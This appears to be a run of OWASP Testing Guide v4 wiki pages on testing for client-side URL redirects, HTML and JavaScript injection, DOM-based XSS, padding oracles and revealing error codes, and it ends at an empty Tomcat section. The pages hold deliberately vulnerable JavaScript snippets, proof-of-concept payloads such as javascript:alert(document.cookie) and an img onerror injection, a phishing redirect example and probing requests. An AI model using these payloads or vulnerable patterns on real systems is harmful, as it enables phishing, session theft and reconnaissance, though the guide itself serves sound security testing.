This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.

By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.

A phishing attack example could be the following:
<br>
<pre>
http://www.target.site?#redirect=www.fake-target.site
</pre>

The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.

Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.

=== Black Box testing ===
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
<br>

=== Gray Box testing ===
'''Testing for Client Side URL Redirect vulnerabilities:'''<br>
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
<br>

These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>

In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.

This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
<pre>http://www.victim.site/?#www.malicious.site</pre>

Note how, if the vulnerable code is the following:
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
</pre>

It also could be possible to inject JavaScript code, for example by submitting the following query string:
<pre>http://www.victim.site/?#javascript:alert(document.cookie)</pre>
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
<br>

Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
<br>

==Tools==
* DOMinator - https://dominator.mindedsecurity.com/

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com

'''Whitepapers'''<br>
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - http://kotowicz.net/absolute/

Testing for HTML Injection (OTG-CLIENT-003)

2014-08-08T13:28:44Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
HTML injection is a type of injection issue that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.

== How to Test ==
This vulnerability occurs when the user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) the legit from the malicious parts and consequently will parse and execute all as legit in the victim context.

There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of XSS, specifically an HTML injection one. Malicious HTML code could be injected for example via innerHTML, that is used to render user inserted HTML code. If strings are not correctly sanitized the problem could lead to XSS based HTML injection. Another method could be document.write()

When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.

The innerHTML property sets or returns the inner HTML of an element. An improper usage of this property, that means lack of sanitization from untrusted input and missing output encoding, could allow an attacker to inject malicious HTML code.

Example of Vulnerable Code:
The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic html in the page context:

<pre>
var userposition=location.href.indexOf("user=");
var user=location.href.substring(userposition+5);
document.getElementById("Welcome").innerHTML=" Hello, "+user;
</pre>

In the same way, the following example shows a vulnerable code using the document.write() function:

<pre>
var userposition=location.href.indexOf("user=");
var user=location.href.substring(userposition+5);
document.write("<h1>Hello, " + user +"</h1>");
</pre>

In both examples, an input like the following:

http://vulnerable.site/page.html?user=<img%20src='aaa'%20onerror=alert(1)>

will add to the page the image tag that will execute an arbitrary JavaScript code inserted by the malicious user in the HTML context.

=== Black Box testing ===
Black box testing for HTML Injection is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing===
'''Testing for HTML Injection vulnerabilities:'''<br>
For example, looking at the following URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html

The HTML code will contains the following script:

<pre>
<script src="../js/jquery-1.7.1.js"></script>
<script>
function setMessage(){
var t=location.hash.slice(1);
$("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
}
$(document).ready(setMessage );
$(window).bind("hashchange",setMessage)
</script>
<body><script src="../js/embed.js"></script>
<span><a href="#message" > Show Here</a><div id="message">Showing Message1</div></span>
<span><a href="#message1" > Show Here</a><div id="message1">Showing Message2</div>
<span><a href="#message2" > Show Here</a><div id="message2">Showing Message3</div>
</body>
</pre>

It is possible to inject HTML code.

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers'''<br>
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for JavaScript Execution (OTG-CLIENT-002)

2014-08-08T13:28:01Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim's browser. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior.

== How to Test ==
Such vulnerability occurs when the application lacks of a proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim.

When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.

The following script does not perform any validation of the variable rr that contains the user supplied input via the query string and additionally does not apply any form of encoding:

<pre>
var rr = location.search.substring(1);
if(rr)
window.location=decodeURIComponent(rr);
This implies that an attacker could inject JavaScript code simply by submitting the following query string: www.victim.com/?javascript:alert(1)
</pre>

=== Black Box testing ===
Black box testing for JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===
'''Testing for JavaScript Execution vulnerabilities:'''

For example, looking at the following URL:
http://www.domxss.com/domxss/01_Basics/04_eval.html

The page contains the following scripts:

<pre>
<script>
function loadObj(){
var cc=eval('('+aMess+')');
document.getElementById('mess').textContent=cc.message;
}

if(window.location.hash.indexOf('message')==-1)
var aMess="({\"message\":\"Hello User!\"})";
else
var aMess=location.hash.substr(window.location.hash.indexOf('message=')+8);
</script>
</pre>

The above code contains a source 'location.hash' that is controlled by the attacker that can inject directly in the 'message' value a JavaScript Code to take the control of the user browser.

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers'''<br>
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for DOM-based Cross site scripting (OTG-CLIENT-001)

2014-08-08T13:27:10Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
[[DOM Based XSS |DOM-based Cross-Site Scripting]] is the de-facto name for [[XSS]] bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.

There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.

==How to Test==
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.

In comparison to other cross site scripting vulnerabilities ([[XSS#Stored_and_Reflected_XSS_Attacks |reflected and stored XSS]]), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM-based XSS vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow.

Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks.

The first hypothetical example uses the following client side code:

<script>
document.write("Site is at: " + document.location.href + ".");
</script>

An attacker may append #<script>alert('xss')</script> to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of "xss" is displayed by the page. Unlike the more common types of cross site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user's browser without server contact.

The [[XSS#XSS_Attack_Consequences |consequences]] of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity.

=== Black Box testing ===
Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===
'''Testing for DOM-Based XSS vulnerabilities:'''<br>
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.

User input comes in two main forms:

* Input written to the page by the server in a way that does not allow direct XSS
* Input obtained from client-side JavaScript objects

Here are two examples of how the server may insert data into JavaScript:

var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");

And here are two examples of input from client-side JavaScript objects:

var data = window.location;
var result = someFunction(window.referer);

While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a [https://code.google.com/p/domxsswiki/wiki/LocationSources URL using the document. and location. attributes].

Additionally, JavaScript is often executed outside of <script> blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.

Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:

<pre>
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
</pre>

but may not be detected in the following contrived case:

<pre>
<script>
var navAgt = navigator.userAgent;

if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
</pre>

For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform addition analysis of the client side code.

Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
'''Whitepapers'''<br>
* Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model
* DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for Padding Oracle (OTG-CRYPST-002)

2014-08-08T13:25:34Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
<br>
A padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g. internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data is assumed by the application.

<br>
Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn't match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS#7. It fills the remaining bytes with the value of the padding length.

'''Example:'''

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text.

An error condition is present if the padding doesn't match the syntax of the used padding scheme. A padding oracle is present if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. BadPaddingException in Java) directly, by subtle differences in the responses sent to the client or by another side-channel like timing behavior.

Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation.

The padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillful manipulated cipher texts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application.

A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.

==How to Test==
=== Black Box Testing ===
'''Testing for padding oracle vulnerabilities:''' <br>
First the possible input points for padding oracles must be identified. Generally the following conditions must be met:

# The data is encrypted. Good candidates are values which appear to be random.
# A block cipher is used. The length of the decoded (Base64 is used often) cipher text is a multiple of common cipher block sizes like 8 or 16 bytes. Different cipher texts (e.g. gathered by different sessions or manipulation of session state) share a common divisor in the length.

'''Example:'''

<nowiki>Dg6W8OiWMIdVokIDH15T/A==</nowiki> results after Base64 decoding in 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. This seems to be random and 16 byte long.

If such an input value candidate is identified, the behavior of the application to bit-wise tampering of the encrypted value should be verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext ''<tt>p</tt>'' and a cipher with a block size ''<tt>n</tt>'', the number of blocks will be ''<tt>b = ceil( length(b) / n)</tt>''. The length of the encrypted string will be ''<tt>y=(b+1)*n</tt>'' due to the initialization vector. To verify the presence of the oracle, decode the string, flip the last bit of the second-to-last block ''<tt>b-1</tt>'' (the least significant bit of the byte at ''<tt>y-n-1</tt>''), re-encode and send. Next, decode the original string, flip the last bit of the block ''<tt>b-2</tt>'' (the least significant bit of the byte at ''<tt>y-2*n-1</tt>''), re-encode and send.

If it is known that the encrypted string is a single block (the IV is stored on the server or the application is using a bad practice hardcoded IV), several bit flips must be performed in turn. An alternative approach could be to prepend a random block, and flip bits in order to make the last byte of the added block take all possible values (0 to 255).

The tests and the base value should at least cause three different states while and after decryption:

* Cipher text gets decrypted, resulting data is correct.
* Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.
* Cipher text decryption fails due to padding errors.

Compare the responses carefully. Search especially for exceptions and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding oracle. If the three different states described above are observable implicitly (different error messages, timing side-channels), there is a high probability that there is a padding oracle present at this point. Try to perform the padding oracle attack to ensure this.

'''Examples:'''
* ASP.NET throws "System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed." if padding of a decrypted cipher text is broken.
* In Java a javax.crypto.BadPaddingException is thrown in this case.
* Decryption errors or similar can be possible padding oracles.

'''Result Expected:'''<br>
A secure implementation will check for integrity and cause only two responses: ok and failed. There are no side channels which can be used to determine internal error states.

=== Grey Box Testing===
'''Testing for padding oracle vulnerabilities:''' <br>
Verify that all places where encrypted data from the client, that should only be known by the server, is decrypted. The following conditions should be met by such code:

# The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.
# All error states while decryption and further processing are handled uniformly.

==Tools==
* PadBuster - [https://github.com/GDSSecurity/PadBuster https://github.com/GDSSecurity/PadBuster]
* python-paddingoracle - [https://github.com/mwielgoszewski/python-paddingoracle https://github.com/mwielgoszewski/python-paddingoracle]
* Poracle - [https://github.com/iagox86/Poracle https://github.com/iagox86/Poracle]
* Padding Oracle Exploitation Tool (POET) - [http://netifera.com/research/ http://netifera.com/research/]
<br>
'''Examples'''<br>
* Visualization of the decryption process - [http://erlend.oftedal.no/blog/poet/ http://erlend.oftedal.no/blog/poet/]

== References ==
'''Whitepapers'''<br>
* Wikipedia - Padding oracle attack - [http://en.wikipedia.org/wiki/Padding_oracle_attack http://en.wikipedia.org/wiki/Padding_oracle_attack]
* Juliano Rizzo, Thai Duong, "Practical Padding Oracle Attacks" - [http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf]

Testing for Error Code (OTG-ERR-001)

2014-08-08T13:24:50Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Often, during a penetration test on web applications, we come up against many error codes generated from applications or web servers.
It's possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually.
These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.

This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment.
The most important aspect for this activity is to focus one's attention on these errors, seeing them as a collection of information that will aid in the next steps of our analysis. A good collection can facilitate assessment efficiency by decreasing the overall time taken to perform the penetration test.

Attackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in [https://www.owasp.org/index.php/Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001) 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)]

===Web Server Errors===

A common error that we can see during testing is the HTTP 404 Not Found.
Often this error code provides useful details about the underlying web server and associated components. For example:

<pre>
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80
</pre>

This error message can be generated by requesting a non-existent URL.
After the common message that shows a page not found, there is information about web server version, OS, modules and other products used.
This information can be very important from an OS and application type and version identification point of view.

Other HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation.

Testing for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section [https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)].

===Application Server Errors===

Application errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code.
Detailed application errors typically provide information of server paths, installed libraries and application versions.

===Database Errors===

Database errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details.

In addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database driver, for in depth information on this issue see [[Testing for SQL Injection (OTG-INPVAL-005)]] for more information.

Web server errors aren't the only useful output returned requiring security analysis. Consider the next example error message:

<pre>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied
</pre>

What happened? We will explain step-by-step below.

In this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.

By manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.
<pre>
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'
</pre>

In this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values.

Now we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems.

Consider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:

<pre>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
</pre>

If we see in the HTML code of the logon page the presence of a '''hidden field''' with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester's control in an attempt to fool the application into thinking that the logon was successful.

Another example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.

== How to Test ==
Below are some examples of testing for detailed error messages returned to the user. Each of the below examples has specific information about the operating system, application version, etc.

'''Test: 404 Not Found'''
<pre>
telnet <host target> 80
GET /<wrong page> HTTP/1.1
host: <host target>
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>404 Not Found</title>
...
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Port 80</address>
...
</pre>

'''Test:'''
<pre>
Network problems leading to the application being unable to access the database server
</pre>
'''Result:'''
<pre>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
</pre>

'''Test:'''
<pre>
Authentication failure due to missing credentials
</pre>
'''Result:'''

Firewall version used for authentication:<br>
<pre>
Error 407
FW-1 at <firewall>: Unauthorized to access the document.
• Authorization is needed for FW-1.
• The authentication required by FW-1 is: unknown.
• Reason for failure of last attempt: no user
</pre>

'''Test: 400 Bad Request'''
<pre>
telnet <host target> 80
GET / HTTP/1.1
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 400 Bad Request
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>400 Bad Request</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80</address>
...
</pre>

'''Test: 405 Method Not Allowed'''
<pre>
telnet <host target> 80
PUT /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>405 Method Not Allowed</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
</pre>

'''Test: 408 Request Time-out'''
<pre>
telnet <host target> 80
GET / HTTP/1.1
- Wait X seconds – (Depending on the target server, 21 seconds for Apache by default)
</pre>
'''Result:'''
<pre>
HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>408 Request Time-out</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
</pre>

'''Test: 501 Method Not Implemented'''
<pre>
telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>501 Method Not Implemented</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
</pre>

'''Test:'''
<pre>
Enumeration of directories by using access denied error messages:<br>

http://<host>/<dir>
</pre>
'''Result:'''
<pre>
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.
</pre>
<pre>
Forbidden
You don't have permission to access /<dir> on this server.
</pre>

== Tools ==
* [1] ErrorMint - http://sourceforge.net/projects/errormint/ <br>
* [2] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project <br>

== References ==

* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1
* [2] [[http://httpd.apache.org/docs/2.2/mod/core.html#errordocument ErrorDocument]] Apache ErrorDocument Directive
* [3] [[http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride AllowOverride]] Apache AllowOverride Directive
* [4] [[http://httpd.apache.org/docs/2.2/mod/core.html#servertokens ServerTokens]] Apache ServerTokens Directive
* [5] [[http://httpd.apache.org/docs/2.2/mod/core.html#serversignature ServerSignature]] Apache ServerSignature Directive

[[Category:OWASP .NET Project]]

==Remediation==

===Error Handling in IIS and ASP .net===

ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user).

IIS uses a set of custom error pages generally found in c:\winnt\help\iishelp\common to display errors like '404 page not found' to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework.

There are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP .net:

# Inside Web.config customErrors section
# Inside global.asax Application_Error Sub
# At the the aspx or associated codebehind page in the Page_Error sub

'''Handling errors using web.config'''
<pre>
<customErrors defaultRedirect="myerrorpagedefault.aspx" mode="On|Off|RemoteOnly">
<error statusCode="404" redirect="myerrorpagefor404.aspx"/>
<error statusCode="500" redirect="myerrorpagefor500.aspx"/>
</customErrors>
</pre>

mode="On" will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him.

All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx.
A status code 404 will be handled by myerrorpagefor404.aspx.

'''Handling errors in Global.asax'''

When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.

<pre>
Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)
Handles MyBase.Error
End Sub
</pre>

'''Handling errors in Page_Error sub'''

This is similar to application error.

<pre>
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)
Handles MyBase.Error
End Sub
</pre>

'''Error hierarchy in ASP .net'''

Page_Error sub will be processed first, followed by global.asax Application_Error sub, and, finally, customErrors section in web.config file.

Information Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.

'''How to test for ASP.net and IIS Error Handling'''

Fire up your browser and type a random page name

<pre>
http:\\www.mywebserver.com\anyrandomname.asp
</pre>

If the server returns

<pre>
The page cannot be found

Internet Information Services
</pre>

it means that IIS custom errors are not configured. Please note the .asp extension.

Also test for .net custom errors. Type a random page name with aspx extension in your browser

<pre>
http:\\www.mywebserver.com\anyrandomname.aspx
</pre>

If the server returns

<pre>
Server Error in '/' Application.
--------------------------------------------------------------------------------

The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly.
</pre>

custom errors for .net are not configured.

===Error Handling in Apache===

Apache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.

Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]

<pre>
ErrorDocument 404 “Customized Not Found error message”
ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
</pre>

Site administrators are able to manage their own errors using .htaccess file if the global directive AllowOverride is configured properly in apache2.conf [3]

The information shown by Apache in the HTTP errors can also be configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. “ServerSignature Off” (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information has to be shown in the error pages.

===Error Handling in Tomcat===

